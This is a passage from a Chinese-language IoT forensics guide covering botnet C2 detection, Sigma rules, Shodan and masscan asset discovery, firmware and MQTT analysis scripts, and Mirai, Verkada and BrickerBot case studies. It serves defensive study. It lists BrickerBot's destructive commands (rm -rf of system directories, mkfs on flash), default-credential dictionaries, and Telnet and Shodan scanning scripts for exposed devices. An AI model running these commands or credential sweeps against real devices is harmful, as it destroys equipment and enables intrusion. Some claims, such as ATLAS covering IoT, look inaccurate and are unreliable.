def analyze_mozi_p2p(pcap_file):
    packets = rdpcap(pcap_file)
    p2p_nodes = set()
    c2_commands = []
    
    for pkt in packets:
        if pkt.haslayer(UDP) and pkt[UDP].dport == 16823:
            payload = bytes(pkt[UDP].load)
            if len(payload) > 10:
                if payload[:4] == b'\x00\x00\x00\x00':
                    c2_commands.append({
                        'src': pkt[IP].src,
                        'command': payload.hex(),
                        'time': float(pkt.time)
                    })
        
        if pkt.haslayer(TCP) and pkt[TCP].dport in (23, 37215, 52869):
            p2p_nodes.add(pkt[IP].src)
    
    print(f"Unique P2P nodes: {len(p2p_nodes)}")
    print(f"C2 commands observed: {len(c2_commands)}")
    return p2p_nodes, c2_commands

IoT 恶意软件持久化机制

IoT 恶意软件的持久化手段与传统恶意软件有显著差异,需要重点关注以下机制:

持久化机制实现方式检测方法取证证据
crontab定时任务下载执行crontab -lcrontab 文件变更
init.d系统启动脚本/etc/init.d/ 检查脚本文件哈希
rc.local启动后执行/etc/rc.local配置文件内容
WebShellWeb 后门植入文件完整性校验Web 访问日志
硬链接替换替换系统命令ls -la /bin/busybox二进制文件哈希
LD_PRELOAD共享库注入cat /etc/ld.so.preload库文件哈希
Udev 规则设备触发执行/etc/udev/rules.d/规则文件内容
Watchdog看门狗重启进程监控进程生命周期日志
crontab -l
ls -la /etc/init.d/
cat /etc/rc.local
cat /etc/ld.so.preload
find /etc/udev/rules.d/ -type f -exec cat {} \;
md5sum /bin/busybox /bin/sh /bin/bash

C2 通信模式分析

IoT 恶意软件使用多种 C2 通信模式,需要针对性的检测策略。

import dns.resolver
import requests
import socket

def detect_dns_tunneling(domain, threshold=50):
    queries = []
    try:
        for record_type in ['TXT', 'CNAME', 'MX', 'A']:
            answers = dns.resolver.resolve(domain, record_type)
            for rdata in answers:
                queries.append(str(rdata))
    except Exception:
        pass
    
    suspicious = [q for q in queries if len(q) > threshold]
    return {
        'domain': domain,
        'total_queries': len(queries),
        'suspicious_long': len(suspicious),
        'samples': suspicious[:5]
    }

def detect_http_c2(host, path="/bot/config"):
    indicators = {
        'default_uri': False,
        'user_agent_match': False,
        'response_pattern': False
    }
    
    try:
        resp = requests.get(f"http://{host}{path}", timeout=10)
        indicators['status_code'] = resp.status_code
        
        c2_uas = ['Mirai', 'bot', 'Go-http', 'libcurl', 'Wget']
        ua = resp.headers.get('User-Agent', '')
        if any(c2 in ua for c2 in c2_uas):
            indicators['user_agent_match'] = True
        
        if resp.status_code == 200 and len(resp.content) > 0:
            if b'\x00' in resp.content[:100]:
                indicators['response_pattern'] = True
    except Exception:
        pass
    
    return indicators
C2 通信模式协议检测方法典型 IOC
HTTP 明文TCP 80/8080URI 模式匹配/bot/config, /cmd.php
DNS 隧道UDP 53查询频率分析长子域名、TXT 记录
IRC 隧道TCP 6667IRC 协议检测#botnet channel
P2PUDP 16823P2P 节点发现Mozi 特征端口
HTTPSTCP 443证书分析自签名/过期证书
MQTTTCP 1883Topic 模式异常 topic 发布
WebSocketTCP 80/443升级请求ws:// 连接

僵尸网络规模估算与 Botnet 指纹

import socket
import struct

def scan_telnet_candidates(target_range, port=23, timeout=2):
    candidates = []
    for ip in target_range:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            result = sock.connect_ex((ip, port))
            if result == 0:
                banner = sock.recv(1024)
                candidates.append({
                    'ip': ip,
                    'port': port,
                    'banner': banner.decode('utf-8', errors='ignore'),
                    'likely_infected': any(kw in banner.decode('utf-8', errors='ignore').lower()
                                          for kw in ['login:', ' BusyBox', 'DD-WRT'])
                })
            sock.close()
        except Exception:
            pass
    return candidates

0x08 证据强度分层与案例关联

证据分级体系

IoT 取证中的证据需要按强度进行分级,以便于法庭采纳和事件关联分析。以下三级分类体系基于证据的确定性、可重复性和法律效力。

确认恶意(红色级别)

当证据直接证明恶意行为时,属于最高确定性级别。以下是典型示例:

证据类型具体示例取证方法MITRE ATT&CK
固件后门代码设备固件中发现反向 Shell 函数Binwalk 提取 + 反编译T1195 Supply Chain Compromise
僵尸网络 PayloadMirai Bot 二进制文件在 /tmp 中文件系统检查 + 签名匹配T1583.005 IoT Infrastructure
数据外传 C2 通信设备与已知 C2 域名建立连接流量抓包 + Threat IntelT1071 Application Layer Protocol
硬编码后门账户固件中存在未文档化的管理员账户固件逆向 + 字符串提取T1190 Exploit Public-Facing
勒索加密行为IoT 存储设备文件被加密文件系统完整性检查T1486 Data Encrypted for Impact
FALLBACK_IOC = {
    "c2_domains": ["malware-c2.example.com", "botnet-hub.example.net"],
    "c2_ips": ["203.0.113.50", "198.51.100.23"],
    "malware_hashes": ["a1b2c3d4e5f6...", "deadbeef1234..."],
    "suspicious_ports": [2323, 16823, 5555, 37215],
    "exploit_signatures": ["HP:APM|APM|APM|", "cmd+enable+shell"]
}

高度可疑(黄色级别)

高度可疑的证据需要进一步关联分析才能确认:

证据类型具体示例取证方法进一步确认方式
异常 MQTT Topic设备订阅 admin/debug 等敏感 topicMQTT 流量分析检查消息内容是否为控制指令
未授权 BLE 连接检测到未知 MAC 地址的 BLE 配对BLE 嗅探分析查询 MAC OUI 厂商信息
固件篡改痕迹固件校验和不匹配文件哈希对比提取新固件进行完整分析
异常 DNS 查询设备产生大量 DNS TXT 查询DNS 日志分析查询域名是否属于已知 DGA
异常网络流量IoT 设备向外部 IP 上传大文件流量分析 + NetFlow确认目标 IP 归属与用途

需要关注(绿色级别)

绿色级别证据可能不直接指向恶意行为,但表明安全配置存在缺陷:

证据类型具体示例取证方法建议措施
默认凭据设备使用 admin/admin 登录凭据测试立即修改默认密码
过时固件版本固件版本存在已知 CVE版本查询升级至最新版本
UPnP 暴露设备 UPnP 向公网暴露端口端口扫描关闭 UPnP 或限制访问
开放 Telnet设备 Telnet 端口对外可达Nmap 扫描禁用 Telnet,使用 SSH
无 TLS 加密MQTT/CoAP 通信明文传输协议分析启用 TLS 加密
EVIDENCE_CONFIDENCE = {
    "firmware_backdoor": 0.95,
    "botnet_payload": 0.98,
    "c2_communication": 0.90,
    "hardcoded_credential": 0.85,
    "anomalous_mqtt": 0.60,
    "unauthorized_ble": 0.55,
    "default_password": 0.40,
    "outdated_firmware": 0.30,
    "upnp_exposed": 0.25,
    "open_telnet": 0.35
}

def assess_evidence(evidence_type, additional_context=None):
    base_confidence = EVIDENCE_CONFIDENCE.get(evidence_type, 0.5)
    
    if additional_context:
        if additional_context.get("confirmed_c2"):
            base_confidence = min(base_confidence + 0.2, 0.99)
        if additional_context.get("multiple_indicators"):
            base_confidence = min(base_confidence + 0.15, 0.99)
        if additional_context.get("false_positive_possible"):
            base_confidence = max(base_confidence - 0.2, 0.1)
    
    if base_confidence >= 0.85:
        level = "确认恶意"
    elif base_confidence >= 0.50:
        level = "高度可疑"
    else:
        level = "需要关注"
    
    return {
        'evidence_type': evidence_type,
        'confidence': base_confidence,
        'level': level,
        'action': '立即处置' if level == '确认恶意' else '进一步调查' if level == '高度可疑' else '安全加固'
    }

0x09 自动化检测与狩猎

Sigma 规则

Sigma 规则可用于检测 IoT 设备的异常网络连接和攻击行为。

title: IoT Device Telnet Scanning Activity
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects IoT devices performing Telnet scanning which may indicate Mirai-like infection
references:
    - https://attack.mitre.org/techniques/T1046/
author: Security Analyst
date: 2026/07/05
logsource:
    category: firewall
    product: generic
detection:
    sel:
        dst_port:
            - 23
            - 2323
        direction: outgoing
        bytes_out:
            - '> 1024'
    filter:
        src_ip:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
    condition: sel and not filter
falsepositives:
    - Legitimate Telnet administration
level: high
tags:
    - attack.lateral_movement
    - attack.t1021
---
title: IoT Device Anomalous DNS Queries
id: b1a2c3d4-e5f6-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects IoT devices performing suspicious DNS queries indicative of C2 communication
author: Security Analyst
date: 2026/07/05
logsource:
    category: dns
    product: generic
detection:
    sel:
        query_type:
            - TXT
            - CNAME
        query_length:
            - '> 50'
    timeframe: 5m
    condition: sel | count() by src_ip > 100
falsepositives:
    - Legitimate DNS-based services
level: medium
tags:
    - attack.command_and_control
    - attack.t1071.004
---
title: IoT Firmware Modification Detection
id: c2d3e4f5-a6b7-8c9d-0e1f-2a3b4c5d6e7f
status: stable
description: Detects firmware modification or update on IoT devices
author: Security Analyst
date: 2026/07/05
logsource:
    category: process_creation
    product: linux
detection:
    sel:
        Image|endswith:
            - '/sysupgrade'
            - '/fw_update'
            - '/fwupgrade'
        CommandLine|contains:
            - 'write'
            - 'mtd'
    condition: sel
falsepositives:
    - Authorized firmware updates
level: high
tags:
    - attack.persistence
    - attack.t1542

Shodan 资产发现与批量搜索

shodan search "port:1883 mqtt" --fields ip_str,port,org,product --limit 100
shodan search "has_screenshot:true product:Mosquitto" --fields ip_str,port,org
shodan search "port:502 modbus" --fields ip_str,port,org,product --limit 50
shodan search "port:5683 coap" --fields ip_str,port,org --limit 50

Shodan API 批量扫描脚本

import shodan
import json
import time

SHODAN_API_KEY = "YOUR_SHODAN_API_KEY"
api = shodan.Shodan(SHODAN_API_KEY)

QUERIES = [
    'port:1883 mqtt',
    'port:502 modbus',
    'port:5683 coap',
    'port:23 "login:"',
    'port:2323 "BusyBox"',
    'product:"GoAhead-Webs"',
    'http.title:"THINKING"',
    'port:37215 "Huawei"',
    'port:52869 "Realtek"',
    'has_screenshot:true product:"DVR"',
]

def batch_scan():
    all_results = []
    for query in QUERIES:
        try:
            results = api.search(query, limit=50)
            for match in results['matches']:
                all_results.append({
                    'ip': match['ip_str'],
                    'port': match['port'],
                    'org': match.get('org', 'Unknown'),
                    'product': match.get('product', 'Unknown'),
                    'query': query,
                    'timestamp': match.get('timestamp', ''),
                    'vulns': match.get('vulns', [])
                })
            time.sleep(1)
        except shodan.APIError as e:
            print(f"Error: {e}")
    
    with open('iot_assets.json', 'w') as f:
        json.dump(all_results, f, indent=2)
    
    print(f"Total assets found: {len(all_results)}")
    vuln_count = sum(1 for r in all_results if r.get('vulns'))
    print(f"Assets with known CVEs: {vuln_count}")
    
    return all_results

batch_scan()

Python 自动化分析脚本

固件自动化提取与分析流水线

import subprocess
import os
import hashlib
import json

def analyze_firmware(firmware_path):
    results = {
        'file': firmware_path,
        'hash': {},
        'binwalk': {},
        'credentials': [],
        'network': {},
        'suspicious': []
    }
    
    with open(firmware_path, 'rb') as f:
        data = f.read()
        results['hash']['md5'] = hashlib.md5(data).hexdigest()
        results['hash']['sha256'] = hashlib.sha256(data).hexdigest()
        results['size'] = len(data)
    
    binwalk_result = subprocess.run(
        ['binwalk', firmware_path],
        capture_output=True, text=True
    )
    results['binwalk']['raw'] = binwalk_result.stdout
    
    extract_result = subprocess.run(
        ['binwalk', '-eM', firmware_path],
        capture_output=True, text=True
    )
    
    extracted_dir = firmware_path + ".extracted"
    if os.path.exists(extracted_dir):
        find_result = subprocess.run(
            ['find', extracted_dir, '-name', 'shadow'],
            capture_output=True, text=True
        )
        for shadow_file in find_result.stdout.strip().split('\n'):
            if os.path.isfile(shadow_file):
                with open(shadow_file) as f:
                    for line in f:
                        parts = line.strip().split(':')
                        if len(parts) >= 2 and parts[1] not in ('x', '*', '!', '!!'):
                            results['credentials'].append({
                                'file': shadow_file,
                                'username': parts[0],
                                'hash_type': 'hardcoded'
                            })
        
        strings_result = subprocess.run(
            ['strings', extracted_dir + '/squashfs-root/usr/bin/app'],
            capture_output=True, text=True
        )
        for line in strings_result.stdout.split('\n'):
            if any(kw in line.lower() for kw in ['password', 'secret', 'api_key', 'token']):
                results['suspicious'].append(line[:100])
    
    return results

MQTT 流量分析脚本

from scapy.all import rdpcap, TCP, Raw
import json
from collections import Counter, defaultdict

def analyze_mqtt_traffic(pcap_file):
    packets = rdpcap(pcap_file)
    mqtt_messages = defaultdict(list)
    topic_stats = Counter()
    suspicious_patterns = []
    
    for pkt in packets:
        if pkt.haslayer(Raw) and pkt.haslayer(TCP):
            payload = bytes(pkt[Raw].load)
            if len(payload) < 2:
                continue
            
            msg_type = (payload[0] >> 4) & 0x0F
            
            if msg_type == 3 and len(payload) > 4:
                topic_len = (payload[1] << 8) | payload[2]
                if topic_len < len(payload):
                    topic = payload[3:3+topic_len].decode('utf-8', errors='ignore')
                    message_payload = payload[3+topic_len:].decode('utf-8', errors='ignore')
                    topic_stats[topic] += 1
                    mqtt_messages[topic].append({
                        'time': float(pkt.time),
                        'src': pkt[IP].src if pkt.haslayer(IP) else 'unknown',
                        'payload_len': len(message_payload),
                        'payload_preview': message_payload[:100]
                    })
                    
                    if any(kw in topic.lower() for kw in ['admin', 'debug', 'shell', 'exec']):
                        suspicious_patterns.append(f"Sensitive topic: {topic}")
                    
                    if 'password' in message_payload.lower() or 'token' in message_payload.lower():
                        suspicious_patterns.append(f"Credential in topic {topic}: {message_payload[:50]}")
    
    return {
        'total_topics': len(topic_stats),
        'topic_distribution': dict(topic_stats.most_common(20)),
        'suspicious': suspicious_patterns,
        'device_count': len(set(msg['src'] for msgs in mqtt_messages.values() for msg in msgs))
    }
MQTT 取证检查项检测方法工具输出格式
Topic 枚举通配符订阅 ‘#’MQTT ExplorerTopic 列表
未认证连接匿名 CONNECT 测试mosquitto_sub连接成功/失败
Payload 明文消息内容检查Wireshark MQTT dissect消息原文
异常 QoSQoS 2 频繁使用分析tshark 过滤QoS 统计
遗嘱消息Last Will 配置检查协议分析配置列表

Nmap/Masscan 扫描脚本发现 IoT 资产

Masscan 快速端口扫描

masscan 10.0.0.0/8 -p23,80,443,502,1883,37215,52869,5683 --rate=10000 -oJ masscan_iot.json
masscan 192.168.0.0/16 -p23,2323,8080,8443 --rate=5000 -oL masscan_lan.txt

Nmap IoT 特征检测

nmap -sV -p 23,80,443,502,1883,37215,52869,5683 --script=default,iot 10.0.0.0/24

nmap --script=mqtt-connect -p 1883 192.168.1.0/24

nmap -sU -p 161,1900,5683 --script=snmp-info,upnp-info,coap-discover 192.168.1.0/24

自动化 IoT 资产发现脚本

import subprocess
import json
import re

def discover_iot_assets(target_range):
    assets = []
    
    masscan_cmd = f"masscan {target_range} -p23,80,443,502,1883,37215,52869 --rate=5000 -oJ -"
    result = subprocess.run(masscan_cmd, shell=True, capture_output=True, text=True)
    
    try:
        open_ports = json.loads(result.stdout)
    except json.JSONDecodeError:
        open_ports = []
    
    for entry in open_ports:
        ip = entry.get('ip', '')
        ports = entry.get('ports', [])
        
        for port_info in ports:
            port = port_info.get('port', 0)
            
            nmap_result = subprocess.run(
                f"nmap -sV -p {port} --version-intensity 0 {ip}",
                shell=True, capture_output=True, text=True
            )
            
            service = re.search(r'(\d+)/tcp\s+\w+\s+(.*)', nmap_result.stdout)
            service_info = service.group(2).strip() if service else 'unknown'
            
            asset_type = classify_iot_device(port, service_info)
            
            assets.append({
                'ip': ip,
                'port': port,
                'service': service_info,
                'type': asset_type,
                'risk': assess_iot_risk(port, service_info)
            })
    
    return assets

def classify_iot_device(port, service):
    port_map = {
        23: 'Telnet Device',
        80: 'HTTP Device',
        443: 'HTTPS Device',
        502: 'Modbus/SCADA',
        1883: 'MQTT Broker',
        37215: 'Huawei Device',
        52869: 'UPnP Device'
    }
    return port_map.get(port, 'Unknown IoT')

def assess_iot_risk(port, service):
    high_risk_ports = [23, 502, 37215, 52869]
    if port in high_risk_ports:
        return 'HIGH'
    if 'default' in service.lower() or 'admin' in service.lower():
        return 'HIGH'
    return 'MEDIUM'

BLE 广告包解析器

BLE 广播数据自动解析

import struct
from datetime import datetime

def parse_ble_advertisement(data):
    result = {
        'timestamp': datetime.now().isoformat(),
        'address_type': data[0] & 0x01,
        'length': len(data),
        'ad_structures': []
    }
    
    offset = 1
    while offset < len(data) - 1:
        length = data[offset]
        if length == 0:
            break
        
        ad_type = data[offset + 1] if offset + 1 < len(data) else 0
        ad_data = data[offset + 2:offset + 1 + length] if offset + 1 < len(data) else b''
        
        type_names = {
            0x01: 'Flags',
            0x02: 'Incomplete List of 16-bit UUIDs',
            0x03: 'Complete List of 16-bit UUIDs',
            0x08: 'Shortened Local Name',
            0x09: 'Complete Local Name',
            0x0A: 'TX Power Level',
            0xFF: 'Manufacturer Specific Data',
            0x16: 'Service Data - 16-bit UUID'
        }
        
        parsed = {
            'type': type_names.get(ad_type, f'Unknown (0x{ad_type:02X})'),
            'type_id': ad_type,
            'data_hex': ad_data.hex()
        }
        
        if ad_type in (0x08, 0x09):
            parsed['name'] = ad_data.decode('utf-8', errors='ignore')
        elif ad_type == 0xFF and len(ad_data) >= 2:
            parsed['company_id'] = struct.unpack('<H', ad_data[:2])[0]
            parsed['manufacturer_data'] = ad_data[2:].hex()
        elif ad_type == 0x16 and len(ad_data) >= 2:
            parsed['service_uuid'] = hex(struct.unpack('<H', ad_data[:2])[0])
            parsed['service_data'] = ad_data[2:].hex()
        
        result['ad_structures'].append(parsed)
        offset += length + 1
    
    return result

def scan_and_analyze_ble(interface, duration=30):
    import subprocess
    
    cmd = f"sudo btlejack -f 37 -c -t {duration}"
    proc = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    
    parsed_devices = []
    for line in proc.stdout.split('\n'):
        if 'BLE packet' in line:
            try:
                hex_data = line.split(':')[-1].strip().replace(' ', '')
                raw = bytes.fromhex(hex_data)
                parsed = parse_ble_advertisement(raw)
                if parsed['ad_structures']:
                    parsed_devices.append(parsed)
            except Exception:
                pass
    
    return parsed_devices

0x0A 公开案例分析

案例一:Mirai 僵尸网络 (2016-至今)

Mirai 是 IoT 安全领域最具影响力的恶意软件家族,自 2016 年首次出现以来持续演化,催生了数十个变种。

MITRE ATT&CK 映射

ATT&CK 阶段技术编号技术名称Mirai 中的实现
ReconnaissanceT1595Active ScanningTCP 端口 23/2323 扫描
Initial AccessT1190Exploit Public-FacingTelnet 默认凭据爆破
ExecutionT1059.004Unix Shellbusybox 命令执行
PersistenceT1037Boot or Logon Init/etc/init.d/ 脚本植入
Defense EvasionT1027Obfuscated FilesXOR 加密 Payload
Credential AccessT1110.001Password Guessing默认凭据字典爆破
DiscoveryT1046Network Service Scan扫描其他 IoT 设备
ImpactT1498Network DoSDDoS 放大攻击

完整攻击链

互联网扫描 → Telnet 端口发现 → 默认凭据字典爆破 → 登录成功
    → 下载 Mirai Bot 二进制 → 执行感染 → 连接 C2 Server
    → 开始扫描新目标 → 接收 DDoS 攻击指令 → 发起攻击

Mirai 源码泄露后的影响

2016 年 9 月,Mirai 源码在 Hackforums 论坛公开泄露,导致以下连锁反应:

  • 源码在 GitHub 上获得超过 600 个 Fork
  • 催生了 Masuta、Satori、Mozi、BotenaGo 等数十个变种
  • Mirai 变种至今仍占 IoT 恶意软件的 40% 以上
  • DDoS 攻击峰值从 1.2 Tbps(Mirai 原版)持续增长

IOC 列表

MIRAI_IOC = {
    "c2_ports": [23, 2323, 5555, 37215],
    "scanner_ports": [23, 2323, 5555, 37215, 52869],
    "process_names": ["-sh", "-bash", "busybox", "mirai.*"],
    "file_paths": [
        "/tmp/", "/var/run/", "/dev/shm/",
        "/etc/init.d/S97", "/var/tmp/"
    ],
    "known_c2_ips": [
        "185.107.94.111", "185.215.113.39",
        "194.26.29.103", "91.215.85.142"
    ],
    "http_uris": ["/cdn-cgi/"],
    "attack_types": [
        "ACK flood", "SYN flood", "UDP flood",
        "GRE flood", "DNS amplification",
        "CHARGEN amplification", "SSDP amplification"
    ],
    "credentials": {
        "root": ["root", "admin", "password", "123456"],
        "admin": ["admin", "password", "1234", "root"],
        "support": ["support", "password"],
        "user": ["user", "password", "admin"]
    }
}

经验教训

  1. 默认凭据是 IoT 设备最大的安全风险,厂商必须在首次使用时强制修改
  2. IoT 设备的网络隔离至关重要,应限制出站连接
  3. Mirai 源码泄露表明开源安全研究需要负责任的漏洞披露流程
  4. ISP 层面的 BCP38/BCP84 可以有效阻止 IP 欺骗攻击

案例二:Verkada 摄像头大规模入侵 (2021)

2021 年 3 月,安全研究人员利用泄露的超级管理员凭据入侵了 Verkada 云监控平台,访问了超过 150,000 台监控摄像头。

MITRE ATT&CK 映射

ATT&CK 阶段技术编号技术名称实际实现
Initial AccessT1078Valid Accounts泄露的超级管理员凭据
Initial AccessT1133External Remote ServicesVerkada Web 控制台
ExecutionT1059Command and Scripting云平台 API 调用
CollectionT1113Screen Capture摄像头实时视频流
CollectionT1125Video Capture摄像头录像回放
ExfiltrationT1041Exfiltration Over C2数据下载
ImpactT1565.001Data Manipulation: Stored删除审计日志

攻击手法详解

攻击者使用泄露的超级管理员凭据登录 Verkada 云控制台,该凭据来源于 Verkada 内部测试环境的硬编码。通过该凭据,攻击者可以:

  • 实时观看所有客户摄像头的画面
  • 访问摄像头的历史录像(最长 30 天)
  • 查看客户的公司名称、WiFi 凭据等敏感信息
  • 使用摄像头的面部识别功能搜索特定人员

数据泄露范围

受影响区域典型客户类型泄露数据
美国医院、学校、警局、企业实时视频、公司信息
英国医疗机构、教育机构实时视频、WiFi 凭据
全球医院、监狱、健身房面部识别数据、视频回放

防护失效原因分析

防护层失效原因应有的措施
身份认证超级管理员凭据泄露多因素认证 (MFA)
权限管理超级管理员权限过大最小权限原则
审计日志日志被攻击者删除集中式日志存储
网络隔离内部测试环境与生产环境共享凭据环境隔离
入侵检测无异常登录检测异常行为分析

IOC 列表

VERKADA_IOC = {
    "attack_ip": "34.106.230.180",
    "login_timestamp": "2021-03-09T15:00:00Z",
    "affected_cameras": 150000,
    "leaked_credentials": True,
    "post_compromise_actions": [
        "video_streaming_access",
        "historical_footage_download",
        "wifi_credential_extraction",
        "facial_recognition_search",
        "audit_log_deletion"
    ],
    "detection_indicators": [
        "unusual_login_location",
        "bulk_video_download",
        "api_rate_limit_exceeded",
        "audit_log_gaps"
    ]
}

经验教训

  1. 云平台的超级管理员凭据必须启用 MFA
  2. 内部测试环境与生产环境必须严格隔离
  3. 监控摄像头等敏感 IoT 设备的云平台需要更高级别的安全控制
  4. 集中式日志存储可以防止攻击者删除审计证据

可选案例:其他 IoT 僵尸网络

僵尸网络出现时间影响设备数主要特征攻击方式
BrickerBot2017~10M永久损坏设备PDoS 攻击
Hajime2017~3M“白帽"蠕虫P2P 文件共享
Mozi2019~100K+P2P 架构UPnP/弱口令
Mirai2016~600K+开源变种Telnet 爆破
BotenaGo2021未知Go 语言编写多漏洞利用
IoT_Reaper2017~10KWeb 漏洞利用不依赖默认密码

BrickerBot PDoS 攻击分析

BrickerBot 与 Mirai 不同,它不试图建立僵尸网络,而是永久损坏(brick)不安全的 IoT 设备。其攻击手法包括:

  • 通过 Telnet 登录后执行 rm -rf 操作
  • 修改设备的 ext4 文件系统导致无法启动
  • 使用 busybox 命令覆盖关键系统文件
BRICKERBOT_IOC = {
    "attack_type": "Permanent Denial of Service (PDoS)",
    "telnet_credentials": [
        "admin:admin", "root:root", "admin:1234",
        "root:vizxv", "admin:admin1234"
    ],
    "damage_commands": [
        "rm -rf /bin /sbin /usr/bin /usr/sbin",
        "mkfs.ext4 /dev/mtdblock4",
        "echo 1 > /proc/sys/net/ipv4/tcp_syncookies"
    ],
    "target_protocols": ["Telnet (23)", "SSH (22)"],
    "motivation": "Hacktivism - protest against insecure IoT devices"
}

0x0B 参考资料

标准与框架

  1. OWASP IoT Top 10 (2023)

  2. NIST IoT 安全指南

  3. NIST SP 800-183: Networks of Things

IoT 恶意软件研究

  1. Mirai 源码分析论文

  2. Mirai Botnet: A Survey

工具与技术

  1. Binwalk 官方文档

  2. FACT Firmware Analysis Platform

  3. Shodan 文档

协议安全

  1. Bluetooth SIG 安全文档

  2. MQTT 协议规范 (v5.0)

MITRE ATT&CK 框架

  1. MITRE ATT&CK - IoT 相关技术

  2. MITRE ATLAS - IoT 攻击矩阵

    • https://atlas.mitre.org/
    • 专门针对 AI/ML 和 IoT 系统的攻击矩阵
    • 涵盖 IoT 设备特有的攻击技术和防御措施

0x0C 总结

IoT 取证是数字取证领域的新兴方向,面临设备异构性、协议多样性和资源受限等独特挑战。本文系统性地覆盖了从设备分类、协议分析、固件逆向到恶意软件检测的全链路方法论。

核心要点回顾

领域关键技术核心工具风险等级
智能家居取证RTSP/ONVIF 分析、存储卡恢复onvif-probe, photorec中高
协议取证MQTT/CoAP/BLE/ZigbeeMQTT Explorer, KillerBee
固件逆向Flash Dump、Binwalk、JTAGBinwalk, OpenOCD, FACT
工业 IoTModbus/OPC UA 协议分析pymodbus, Wireshark极高
恶意软件Mirai 变种检测、C2 分析Volatility, YARA极高
自动化狩猎Shodan、Sigma、MasscanSigma CLI, Shodan CLI

最佳实践建议

  1. 资产清点:使用 Shodan/Masscan 持续扫描和记录所有 IoT 设备
  2. 网络隔离:将 IoT 设备置于独立 VLAN,限制出站连接
  3. 固件管理:定期审计设备固件版本,及时更新补丁
  4. 凭据管理:禁用默认凭据,强制修改出厂密码
  5. 流量监控:部署 IoT 专用流量分析系统,检测异常通信模式
  6. 日志集中:将所有 IoT 设备日志收集到集中式 SIEM 平台
  7. 应急响应:建立 IoT 安全事件响应流程,明确取证采集步骤
  8. 供应链安全:在采购阶段评估设备安全能力,选择通过安全认证的产品

IoT 安全威胁将持续演化,取证方法也需要不断更新。安全研究人员应持续关注新出现的 IoT 恶意软件家族、协议漏洞和攻击技术,保持对最新威胁的感知能力。